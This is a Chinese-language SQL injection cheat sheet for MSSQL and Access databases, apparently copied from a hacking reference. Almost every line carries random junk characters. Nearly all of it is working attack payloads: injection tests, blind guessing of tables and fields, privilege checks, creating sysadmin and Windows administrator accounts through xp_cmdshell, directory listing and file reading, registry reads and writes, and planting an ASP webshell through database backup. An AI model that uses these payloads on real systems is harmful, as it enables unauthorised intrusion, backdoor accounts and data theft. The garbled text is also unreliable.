1.判断是否有注入;and 1=1 ;and 1=2 [[_>DM
2.初步判断是否是mssql ;and user>0 x]YzVJ =Y
a
7v^o`
3.注入参数是字符'and [查询条件] and ''=' VS4Glx73
bX[ZVE(L
4.搜索时没过滤参数的'and [查询条件] and '%25'=' ;^s|n)F#c
\x$`/
5.判断数据库系统 mKTF@DED
;fV"5H)U\
;and (select count(*) from sysobjects)>0 mssql d. d J^M
\<9aS Y'U
;and (select count(*) from msysobjects)>0 access R-$w*=Y
]UIN4E
{_W8Qm`.
v2rzHzFU
6.猜数据库 ;and (select Count(*) from [数据库名])>0 5f_x.~ymA
c^"4l
9w
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 nv0D4 t
851BOkRal4
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 5X3JQ"z
tHaHBx1P
9.(1)猜字段的ascii值(access) bkR~>F]FAu
X)(K|[
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 |63uoRr
~9rNP{+
(2)猜字段的ascii值(mssql) D4"<suU|.
vD2(M1Q
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 :?EZ\WM7
Lm!]m\LRZD
10.测试权限结构(mssql) Uth+4Aq
$C=XSuPNK
c{`!$Z'k<
((AK7hb
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- PC"=B[OlJ
4D5Wse
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- D$KP>G
| J'k9W"
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- RpU i'
(Of`VT3ZOA
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- $#%R_G]
l %zbx"%x
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- iiuT:r
x]Nx,tt
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- gCYe^KJ
|H8C4^1Rq
;and 1=(select IS_MEMBER('db_owner'));-- Uun0FCA>
)6"p@1\u
BGVnL}0
}'{"P#e8"q
11.添加mssql和系统的帐户 X9c<g;
6f0o'
;exec master.dbo.sp_addlogin username;-- >8{{H"$;(
;exec master.dbo.sp_password null,username,password;-- u1kCvi#N
H!FaI(YZl
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ?$I9/r
,;MUXCC'
;exec master.dbo.xp_cmdshell 'net user username password Dg~m}La
Q<szH1-
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- ,d!@5d&Zi
f"\klfrRI_
;exec master.dbo.xp_cmdshell 'net user username password /add';-- #v$wjqK5
-1$z=,q'
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- ORqqzy +
( +S-
< j
g<DXJ7o
12.(1)遍历目录 _H}hK kG+
3GL?&(eU;
;create table dirs(paths varchar(100), id int) Y$,++wx
~c+=$SL-=
;insert dirs exec master.dbo.xp_dirtree 'c:\' 7r3CO<fb
*\+oe+ 3
;and (select top 1 paths from dirs)>0 T6?03cSE
#CJET
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) [T'[7Z
c#?~1@=
Bk~lM'
%H_-`A`
(2)遍历目录 qfAnMBM1@
vEG7A$Z"
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- c9@3=6S/
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 #u"@q< )
FP y}Wc*UA
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 fhdqes])
rT-.'aQ2t
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 t0xE
LH`$<p2''r
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 a_\7Ho$^
x~m$(LT
s LD Ea
u46Z}~xf b
13.mssql中的存储过程 >X[:(m'
7[L%j;)bw
xp_regenumvalues 注册表根键, 子键 iBWEZw)
ME)='~E
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 W! |_ hL
Bn.R,B0PL
xp_regread 根键,子键,键值名 E@Ewx;P5
g@t..xJ,
;exec xp_regread B4zuWCE@
]m&Ss
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ?|`n&HrP
Az(,Q$"|5
xp_regwrite 根键,子键, 值名, 值类型, 值 gDw(_KC
,'<NyA><
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 U0|bKU
#PC*l\
)
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 DqI "B
"9X(.v0ze
xp_regdeletevalue 根键,子键,值名 8"LM:0x
[EVyCIcY,h
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
C>-}BeY!
S,,Wb&A$
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 iB~dO @
^%6f%]_
QYj 4D
",5=LW&,
14.mssql的backup创建webshell 1o_Zw.
4__HH~j ?Q
use model ]$.w
I~J%
'UGgY3
create table cmd(str image); "9~KVILlLu
U5F1m]gFr
insert into cmd(str) values (''); bz,"TG[
=_6 Q26
backup database model to disk='c:\l.asp'; yk^2<?z>2
,s}7KE
1j}e2H
(KvN#d 1\
15.mssql内置函数 %Zfh6Bl\X
U3M;{_g
;and (select @@version)>0 获得Windows的版本号 <)J@7@!P
A??a:8id^
;and user_name()='dbo' 判断当前系统的连接用户是不是sa JHg;2xm"<K
8A*tpMV?J
;and (select user_name())>0 爆当前系统的连接用户 i$:yq. DW
)$pqe|,
;and (select db_name())>0 得到当前连接的数据库 P;X0L{u0H
PVN`k, 4
tp ky
l Ny<E!0
16.简洁的webshell f*m^x7
#!m^EqF1_
use model gId
:IR
'Vhnio;qC
create table cmd(str image); 8[
ZuVJ]
)5x$J01S
insert into cmd(str) values (''); fkk9&QB%(
iP9Dr<P
backup database model to disk='g:\wwwtest\l.asp';